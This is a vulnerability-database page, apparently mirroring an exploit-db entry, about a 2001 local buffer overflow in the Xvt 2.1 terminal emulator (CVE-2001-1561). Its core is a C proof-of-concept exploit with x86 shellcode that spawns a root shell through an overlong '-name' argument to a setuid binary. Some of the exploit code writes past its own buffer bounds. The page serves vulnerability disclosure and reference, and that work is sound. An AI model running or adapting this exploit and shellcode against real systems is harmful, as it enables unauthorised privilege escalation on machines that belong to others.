Lucene search
+L

Xvt 2.1 - Local Buffer Overflow

🗓️ 02 Jul 2001 00:00:00Reported by Christophe BailleuxType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 36 Views

Xvt terminal emulator vulnerable to buffer overflow via '-name' argument, exploits privileges.

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
Debian GNU/Linux Local Compromise Data Compromise
28 Apr 201500:00
–bdu_fstec
cve
CVE
CVE-2001-1561
14 Jul 200504:00
–cve
cvelist
Cvelist
CVE-2001-1561
14 Jul 200504:00
–cvelist
debiancve
Debian CVE
CVE-2001-1561
14 Jul 200504:00
–debiancve
nessus
Tenable Nessus
Debian DSA-082-1 : xvt - Buffer Overflow
29 Sep 200400:00
–nessus
euvd
EUVD
EUVD-2001-1538
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2001-1561
31 Dec 200105:00
–nvd
openvas
OpenVAS
Debian Security Advisory DSA 082-1 (xvt)
17 Jan 200800:00
–openvas
openvas
OpenVAS
Debian Security Advisory DSA 082-1 (xvt)
17 Jan 200800:00
–openvas
rapid7
Rapid7 Vulnerability Database (full)
CVE-2001-1561: Undefined Security Weakness
14 Jul 200500:00
–rapid7
Rows per page
// source: https://www.securityfocus.com/bid/2955/info

Xvt is a terminal emulator for systems using X11R6. It is often installed setuid/setgid so that it runs with the enhanced privileges required to log user sessions.

Xvt contains a buffer overflow in it's handling of the '-name' argument.

An attacker can exploit this buffer overflow to exploit arbitrary code with the enhanced privileges of Xvt. On some systems Xvt is installed setuid root. This may not be the case for all systems.

/*

   /usr/bin/X11/xvt overflow proof of concept by [email protected].

   tshaw:~$ ./expl
   bash#

*/

#include <stdio.h>
#include <stdlib.h>

int main()

{

    char buf[234];
    int i;

    char code[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";


    for(i=0; i<76; i++)
        buf[i] = 0x41;

    *(long *)&buf[76]=0xbffffab0; /* ret addr */

    memset(buf + 80, 0x90, 234);
    memcpy(buf + 233 - strlen(code), code, strlen(code));

    buf[234] = '\0';

    execl("/usr/bin/X11/xvt", "xvt", "-name", buf, 0);

}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.01201
36